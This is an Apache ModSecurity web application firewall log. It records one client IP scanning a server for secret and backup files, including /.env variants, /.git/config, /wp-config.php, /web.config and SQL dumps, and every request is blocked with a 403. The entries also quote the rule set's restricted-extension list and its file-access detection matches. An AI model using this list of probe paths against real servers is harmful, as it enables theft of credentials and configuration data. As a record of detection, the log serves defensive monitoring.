[Sun Oct 25 00:17:50.308116 2026] [security2:error] [pid 2762197:tid 2762197] [client 93.123.109.214:44538] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at2C7oZtnOkLC5P7ETI9fAAAADo"]
[Sun Oct 25 00:17:50.308341 2026] [security2:error] [pid 2762197:tid 2762197] [client 93.123.109.214:44538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at2C7oZtnOkLC5P7ETI9fAAAADo"]
[Sun Oct 25 00:17:50.308661 2026] [security2:error] [pid 2762197:tid 2762197] [client 93.123.109.214:44538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at2C7oZtnOkLC5P7ETI9fAAAADo"]
[Sun Oct 25 00:17:50.314866 2026] [security2:error] [pid 2762191:tid 2762191] [client 93.123.109.214:44512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at2C7kQ589AG3ML6I5fcyAAAADE"]
[Sun Oct 25 00:17:50.315115 2026] [security2:error] [pid 2762191:tid 2762191] [client 93.123.109.214:44512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at2C7kQ589AG3ML6I5fcyAAAADE"]
[Sun Oct 25 00:17:50.315481 2026] [security2:error] [pid 2762191:tid 2762191] [client 93.123.109.214:44512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at2C7kQ589AG3ML6I5fcyAAAADE"]
[Sun Oct 25 00:17:50.422593 2026] [security2:error] [pid 2759069:tid 2759069] [client 93.123.109.214:44488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at2C7tNN1ZaQv3xNKA96FAAAAEA"]
[Sun Oct 25 00:17:50.422786 2026] [security2:error] [pid 2759069:tid 2759069] [client 93.123.109.214:44488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at2C7tNN1ZaQv3xNKA96FAAAAEA"]
[Sun Oct 25 00:17:50.423101 2026] [security2:error] [pid 2759069:tid 2759069] [client 93.123.109.214:44488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at2C7tNN1ZaQv3xNKA96FAAAAEA"]
[Sun Oct 25 00:17:50.424310 2026] [security2:error] [pid 2761145:tid 2761145] [client 93.123.109.214:44760] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/backup.sql"] [unique_id "at2C7htjmvmExv1bHSMt7QAAAAA"]
[Sun Oct 25 00:17:50.424852 2026] [security2:error] [pid 2761145:tid 2761145] [client 93.123.109.214:44760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup.sql"] [unique_id "at2C7htjmvmExv1bHSMt7QAAAAA"]
[Sun Oct 25 00:17:50.425123 2026] [security2:error] [pid 2761145:tid 2761145] [client 93.123.109.214:44760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup.sql"] [unique_id "at2C7htjmvmExv1bHSMt7QAAAAA"]
[Sun Oct 25 00:17:50.429390 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44590] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at2C7pnH_N6a0offkOBEswAAACg"]
[Sun Oct 25 00:17:50.429558 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at2C7pnH_N6a0offkOBEswAAACg"]
[Sun Oct 25 00:17:50.429732 2026] [security2:error] [pid 2759007:tid 2759007] [client 93.123.109.214:44748] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at2C7kdxlPUftbP0pGm0owAAAAQ"]
[Sun Oct 25 00:17:50.429778 2026] [security2:error] [pid 2762183:tid 2762183] [client 93.123.109.214:44590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at2C7pnH_N6a0offkOBEswAAACg"]
[Sun Oct 25 00:17:50.429905 2026] [security2:error] [pid 2759007:tid 2759007] [client 93.123.109.214:44748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at2C7kdxlPUftbP0pGm0owAAAAQ"]
[Sun Oct 25 00:17:50.430126 2026] [security2:error] [pid 2759007:tid 2759007] [client 93.123.109.214:44748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at2C7kdxlPUftbP0pGm0owAAAAQ"]
[Sun Oct 25 00:17:50.432272 2026] [security2:error] [pid 2762195:tid 2762195] [client 93.123.109.214:44700] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/web.config"] [unique_id "at2C7sjdPrZLXzex9e5wjgAAADc"]
[Sun Oct 25 00:17:50.432607 2026] [security2:error] [pid 2762195:tid 2762195] [client 93.123.109.214:44700] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/web.config"] [unique_id "at2C7sjdPrZLXzex9e5wjgAAADc"]
[Sun Oct 25 00:17:50.432678 2026] [security2:error] [pid 2759055:tid 2759055] [client 93.123.109.214:44802] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at2C7uNw4YxNM9StcJUG0wAAADI"]
[Sun Oct 25 00:17:50.432820 2026] [security2:error] [pid 2762195:tid 2762195] [client 93.123.109.214:44700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/web.config"] [unique_id "at2C7sjdPrZLXzex9e5wjgAAADc"]
[Sun Oct 25 00:17:50.432910 2026] [security2:error] [pid 2759055:tid 2759055] [client 93.123.109.214:44802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at2C7uNw4YxNM9StcJUG0wAAADI"]
[Sun Oct 25 00:17:50.433106 2026] [security2:error] [pid 2762195:tid 2762195] [client 93.123.109.214:44700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/web.config"] [unique_id "at2C7sjdPrZLXzex9e5wjgAAADc"]
[Sun Oct 25 00:17:50.433138 2026] [security2:error] [pid 2759055:tid 2759055] [client 93.123.109.214:44802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php"] [unique_id "at2C7uNw4YxNM9StcJUG0wAAADI"]
[Sun Oct 25 00:17:50.436981 2026] [security2:error] [pid 2759043:tid 2759043] [client 93.123.109.214:44778] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/dump.sql"] [unique_id "at2C7rfQdvgLJqDYDw-HKwAAACc"]
[Sun Oct 25 00:17:50.437384 2026] [security2:error] [pid 2759043:tid 2759043] [client 93.123.109.214:44778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/dump.sql"] [unique_id "at2C7rfQdvgLJqDYDw-HKwAAACc"]
[Sun Oct 25 00:17:50.437633 2026] [security2:error] [pid 2759043:tid 2759043] [client 93.123.109.214:44778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/dump.sql"] [unique_id "at2C7rfQdvgLJqDYDw-HKwAAACc"]
[Sun Oct 25 00:17:50.438710 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/db.sql"] [unique_id "at2C7rabNYUt8C98kUB9IQAAACM"]
[Sun Oct 25 00:17:50.439107 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/db.sql"] [unique_id "at2C7rabNYUt8C98kUB9IQAAACM"]
[Sun Oct 25 00:17:50.439334 2026] [security2:error] [pid 2762179:tid 2762179] [client 93.123.109.214:44780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/db.sql"] [unique_id "at2C7rabNYUt8C98kUB9IQAAACM"]
[Sun Oct 25 00:17:51.297057 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45070] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sandbox"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.sandbox"] [unique_id "at2C71Xj5p6YZEYZ6btH7wAAAAE"]
[Sun Oct 25 00:17:51.297350 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.sandbox"] [unique_id "at2C71Xj5p6YZEYZ6btH7wAAAAE"]
[Sun Oct 25 00:17:51.297644 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.sandbox"] [unique_id "at2C71Xj5p6YZEYZ6btH7wAAAAE"]
[Sun Oct 25 00:17:51.312696 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at2C71Xj5p6YZEYZ6btH-wAAAAE"]
[Sun Oct 25 00:17:51.312860 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at2C71Xj5p6YZEYZ6btH-wAAAAE"]
[Sun Oct 25 00:17:51.313044 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at2C71Xj5p6YZEYZ6btH-wAAAAE"]
